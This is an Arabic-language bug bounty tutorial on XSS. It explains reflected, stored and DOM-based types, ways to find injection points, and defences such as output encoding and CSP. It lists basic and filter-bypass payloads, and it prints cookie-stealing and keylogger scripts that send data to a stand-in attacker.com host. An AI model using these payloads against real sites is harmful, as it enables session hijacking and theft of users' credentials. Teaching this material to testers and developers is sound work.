شرح ثغرة XSS (Cross-Site Scripting): الدليل النهائي لاكتشافها وفهمها
هل تخيلت أن تعليقًا بسيطًا على مدونة يمكن أن يكون أداة لسرقة حسابات جميع زوار الصفحة؟ هذا ليس خيالًا علميًا، بل هو القوة الحقيقية لواحدة من أشهر ثغرات الويب: Cross-Site Scripting أو XSS.
في دليلنا عن [البدء في مجال Bug Bounty](الرابط من هنا)، ذكرنا أن تعلم أشهر الثغرات هو خطوتك الأولى. اليوم، سنغوص بالتفصيل في الثغرة رقم واحد التي يجب على كل مبتدئ ومحترف في مجال الأمن السيبراني إتقانها بشكل كامل.
الجزء الأول: ما هي ثغرة XSS؟
ثغرة XSS هي نوع من هجمات الحقن من جانب العميل (Client-Side Injection)، حيث يتمكن المهاجم من حقن سكربتات ضارة (عادةً JavaScript) في صفحات الويب التي يثق بها المستخدمون.
كسر دائرة الثقة :
يعتمد الويب بأكمله على "نموذج أصل واحد" (Same-Origin Policy)، وهو يعني أن المواقع من مصادر مختلفة لا يمكنها التفاعل مع بعضها البعض. لكن ثغرة XSS تكسر هذه القاعدة. عندما يتم حقن سكربت المهاجم في صفحة موثوقة، فإن متصفح الضحية ينفذ هذا السكربت معتقدًا أنه قادم من المصدر الموثوق نفسه، وبالتالي يمنحه كل الصلاحيات التي يمتلكها الموقع الأصلي، مثل الوصول إلى الكوكيز، وتعديل محتوى الصفحة، وإرسال طلبات نيابة عن المستخدم.
لماذا JavaScript تحديدًا؟
لأنها لغة الويب التفاعلية. يمكن لـ JavaScript:
الوصول إلى كائنات المتصفح الحساسة: مثل
document.cookieلسرقة جلسات الدخول.التلاعب ببنية الصفحة (DOM): يمكنها إخفاء محتوى الصفحة، أو إضافة نماذج تسجيل دخول مزيفة.
إرسال طلبات شبكية: يمكنها إرسال البيانات المسروقة بصمت إلى خادم يتحكم فيه المهاجم.
الجزء الثاني: الوجوه الثلاثة لثغرة XSS (شرح تقني بالتفصيل)
لفهم الثغرة بعمق، يجب أن تفهم الفروقات الجوهرية بين أنواعها.
1. Reflected XSS
هذا النوع هو الأكثر شيوعًا. يتطلب أن يقوم الضحية بالضغط على رابط تم إعداده خصيصًا من قبل المهاجم.
السيناريو التقني: تخيل صفحة PHP بسيطة تحتوي على الكود التالي:
<?php echo "Welcome, " . $_GET['name']; ?>. إذا قام المهاجم بإنشاء رابط مثل.../page.php?name=<script>alert(1)</script>وأرسله للضحية، فإن الخادم سيأخذ (Payload) من الرابط ويعيدها "يعكسها" كما هي في استجابة HTML، مما يؤدي إلى تنفيذها في متصفح الضحية.أسلوب الهجوم: يتم نشره عادة عبر رسائل البريد الإلكتروني التصيدية أو رسائل خاصة ("تحقق من هذا الرابط المضحك🙃😂").
2. Stored XSS
هذا هو النوع الأخطر والأعلى قيمة في برامج المكافآت لأنه يؤثر على كل من يزور الصفحة المصابة.
السيناريو التقني: تخيل قسم تعليقات في مدونة. عندما يكتب المهاجم تعليقًا يحتوي على
<script>/* malicious code */</script>، يقوم الخادم بتخزين هذا النص في قاعدة البيانات. في كل مرة يقوم فيها أي مستخدم بتحميل هذه الصفحة، يقوم الخادم بجلب التعليق من قاعدة البيانات وإدراجه في الصفحة، مما يؤدي إلى تنفيذ الكود الضار في متصفح كل زائر.تأثير "واحد ضد الجميع": المهاجم يحقن الكود مرة واحدة فقط، لكنه يصيب عددًا كبيرًا من الضحايا بشكل تلقائي.
3. DOM-based XSS
هذا النوع خادع لأنه قد لا يترك أي أثر في سجلات الخادم. الهجوم يحدث بالكامل في المتصفح.
السيناريو التقني: تخيل صفحة تحتوي على كود JavaScript التالي لجلب اسم المستخدم من الرابط وعرض رسالة ترحيب:
var urlParams = new URLSearchParams(window.location.search);
var username = urlParams.get('user');
document.getElementById('welcomeMessage').innerHTML = "Welcome, " + username;
إذا قام المهاجم بإنشاء رابط مثل .../page.html?user=<img src=x onerror=alert(1)>، فإن كود JavaScript الأصلي سيأخذ هذه البايلود من الرابط ويضعها مباشرة في innerHTML، مما يؤدي إلى تنفيذها دون الحاجة إلى إعادة تحميل الصفحة أو إرسال بايلود إلى الخادم.
الجزء الثالث: عقلية وأدوات Bug Bounty
التفكير مثل المطور: لا تفكر فقط في "أين يمكنني الحقن؟"، بل فكر "لو كنت أنا المطور، ما هي الأخطاء التي قد أقع فيها؟". هل نسيت فلترة المدخلات في واجهة API مخفية؟ هل أثق في البيانات القادمة من پارامتر في الرابط؟
الأدوات الاحترافية:
أدوات المطور (F12): استخدمها كخبير. تعلم كيفية وضع نقاط توقف (Breakpoints) في كود JavaScript لتتبع كيفية معالجة مدخلاتك خطوة بخطوة.
البروكسي (Proxy): استخدام أداة مثل Burp Suite أو OWASP ZAP أمر لا غنى عنه. هذه الأدوات تجلس بين متصفحك والإنترنت، مما يسمح لك باعتراض كل طلب HTTP وتعديله قبل إرساله إلى الخادم، مما يمنحك سيطرة كاملة على البيانات.
الجزء الرابع: أين وكيف تجد ثغرات XSS؟
قائمة الأماكن المستهدفة
المدخلات الظاهرة: حقول البحث، التعليقات، صفحات الملف الشخصي، نماذج الاتصال.
المدخلات المخفية: ابحث دائمًا في كود المصدر عن حقول مثل
<input type="hidden" name="source" value="search_page">. غالبًا ما ينسى المطورون فلترة هذه الحقول.پارامترات الـ URL: أي شيء بعد
?في الرابط هو هدف محتمل.HTTP (HTTP Headers): بعض المواقع تعكس قيم الهيدر مثل
User-AgentأوRefererفي الصفحة. يمكنك تعديل هذه القيم باستخدام Burp Suite لحقن Payloads.
دليل (Payloads)
أساسية:
<script>alert(document.domain)</script><img src=x onerror=alert(1)><svg onload=alert(1)>
لتجاوز الفلاتر وجدران الحماية (WAF Bypass):
باستخدام الأحرف الكبيرة والصغيرة:
<ScRiPt>alert(1)</ScRiPt>باستخدام أحداث الماوس:
<b onmouseover=alert(1)>Move mouse here</b>باستخدام الترميز (Encoding): استخدام ترميز URL أو HTML لإخفاء الكلمات المفتاحية الخطيرة.
الجزء الخامس: ما وراء رسالة التنبيه - الخطورة الحقيقية لـ XSS
إليك كيف تبدو الهجمات الحقيقية مع أمثلة كود:
سرقة الكوكيز (Session Hijacking):
البايلود:
<script>new Image().src="http://attacker.com/steal.php?cookie=" + document.cookie;</script>الشرح: هذا الكود ينشئ صورة جديدة ويجعل مصدرها هو موقع المهاجم، مع إضافة الكوكيز الخاصة بالضحية كپارامتر في الرابط. يقوم خادم المهاجم بتسجيل هذه الكوكيز، مما يسمح له بسرقة جلسة الضحية.
حقن نماذج تسجيل الدخول المزيفة (Credential Harvesting):
البايلود: كود JavaScript طويل يقوم بإنشاء
<div>يشبه تمامًا نافذة تسجيل الدخول الخاصة بالموقع، ويضعها فوق المحتوى الأصلي. عندما يدخل الضحية بياناته، يتم إرسالها إلى المهاجم.
تسجيل ضغطات المفاتيح (Keylogger):
البايلود:
<script>document.addEventListener('keypress', function(e) { fetch('http://attacker.com/log?key=' + e.key); });</script>الشرح: هذا الكود "يستمع" لكل ضغطة مفتاح يقوم بها المستخدم ويرسلها فورًا إلى خادم المهاجم.
الجزء السادس: بناء الحصن - كيف يمنع المطورون ثغرات XSS؟
التحقق من المدخلات (Input Validation):
القائمة البيضاء (Whitelisting): الأسلوب الأقوى. السماح فقط بالمدخلات المتوقعة (مثل السماح بالأرقام فقط في حقل العمر) ورفض كل شيء آخر.
القائمة السوداء (Blacklisting): الأسلوب الأضعف. محاولة منع الكلمات الخطيرة المعروفة (مثل
<script>). غالبًا ما يفشل هذا الأسلوب لأنه يمكن تجاوزه بسهولة.
ترميز المخرجات (Output Encoding):
هذا هو خط الدفاع الأكثر أهمية. يجب أن يتم الترميز بناءً على السياق الذي ستظهر فيه البيانات. البيانات التي ستوضع داخل وسم HTML تحتاج إلى ترميز مختلف عن البيانات التي ستوضع داخل وسم
<script>أو كجزء من رابط URL. تستخدم لغات البرمجة مكتبات متخصصة لهذا (مثل OWASP ESAPI).
سياسة أمان المحتوى (Content Security Policy - CSP):
هي آلية متقدمة تعمل كطبقة دفاع إضافية. هي عبارة عن HTTP يرسلها الخادم للمتصفح تخبره بالمصادر الموثوقة المسموح بتحميل وتنفيذ الأكواد منها.
مثال:
Content-Security-Policy: script-src 'self' https://apis.google.comالشرح: هذه السياسة تخبر المتصفح: "لا تقم بتنفيذ أي كود JavaScript إلا إذا كان قادمًا من نفس نطاق الموقع (
'self') أو منhttps://apis.google.com". هذا يمنع تنفيذ أي كود محقون.
الجزء السابع: XSS في العالم الحقيقي - سيناريوهات متقدمة
سيناريو 1 (Blind XSS في لوحة تحكم الأدمن):
الهجوم: يقوم مهاجم بحقن بايلود XSS في نموذج "اتصل بنا" على موقع. هذا النموذج يرسل البيانات إلى لوحة تحكم داخلية لا يمكن للمهاجم رؤيتها. البايلود مصممة لـ "الاتصال بالمنزل" (Call Home) عند تنفيذها.
التنفيذ: بعد أيام، يقوم موظف دعم فني بفتح تذكرة الدعم في لوحة التحكم الخاصة به. يتم تنفيذ الكود، ويقوم بسرقة كوكيز جلسة الأدمن وإرسالها إلى المهاجم، مما يمنحه سيطرة كاملة على النظام.
الأداة: تستخدم هجمات مثل هذه أدوات متخصصة مثل XSS Hunter.
سيناريو 2 (XSS في وظيفة رفع الملفات):
الهجوم: يسمح موقع للمستخدمين برفع صور. يقوم المهاجم برفع ملف صورة (SVG) يحتوي في الواقع على كود JavaScript.
التنفيذ: عندما يقوم أي مستخدم بعرض هذه الصورة، يقوم المتصفح بتنفيذ الكود المضمن فيها، مما يؤدي إلى هجوم Stored XSS.
سلاحك الأول في عالم صيد الثغرات
ثغرة XSS هي بحر واسع من التقنيات والإمكانيات. إتقانك لهذه الثغرة بأنواعها المختلفة وطرق اكتشافها وتجاوز حماياتها سيفتح لك الباب لاكتشاف العديد من الثغرات الأخرى الأكثر تعقيدًا.
في دليلنا القادم من هذه السلسلة، سنتناول ثغرة أخرى لا تقل خطورة، وهي ثغرة IDOR التي تسمح بالوصول إلى بيانات لا يفترض بك رؤيتها. فكن على استعداد
والآن، شاركنا في التعليقات: ما هي المعلومة الأكثر إثارة للدهشة التي تعلمتها عن XSS في هذا الدليل؟